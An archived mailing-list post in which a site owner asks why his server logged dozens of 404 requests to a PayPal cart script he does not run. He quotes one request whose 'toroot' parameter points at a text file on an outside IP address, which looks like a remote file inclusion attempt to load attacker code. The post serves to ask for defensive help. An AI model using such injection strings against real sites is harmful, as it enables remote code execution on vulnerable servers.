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404 messages pointing to a strange location
From: Simon <sunsetpicture () gmail com>
Date: Fri, 02 Jan 2009 11:10:05 +0100
Hi all,Yesterday evening I had lots of 404-messages from my web server, all pointing to locations like
http://foo.bar/something//ee_commerce/paypalcart.php?toroot=http://220.134.244.157/xoops/templates_c/id3.txt? I don't use paypal or anything similar on my page; what does that mean?I'm wondering because this messages came in only yesterday before midnight, several dozens.
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Current thread:
- 404 messages pointing to a strange location Simon (Jan 03)
- Re: 404 messages pointing to a strange location Stefan Tanase (Jan 04)
- Re: 404 messages pointing to a strange location Simon (Jan 04)
- Re: 404 messages pointing to a strange location Daniel Clemens (Jan 04)
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- RE: 404 messages pointing to a strange location Tom Ritter (Jan 03)
- Re: 404 messages pointing to a strange location Simon (Jan 04)
- Re: 404 messages pointing to a strange location arvind doraiswamy (Jan 04)
- Re: 404 messages pointing to a strange location Stefan Tanase (Jan 04)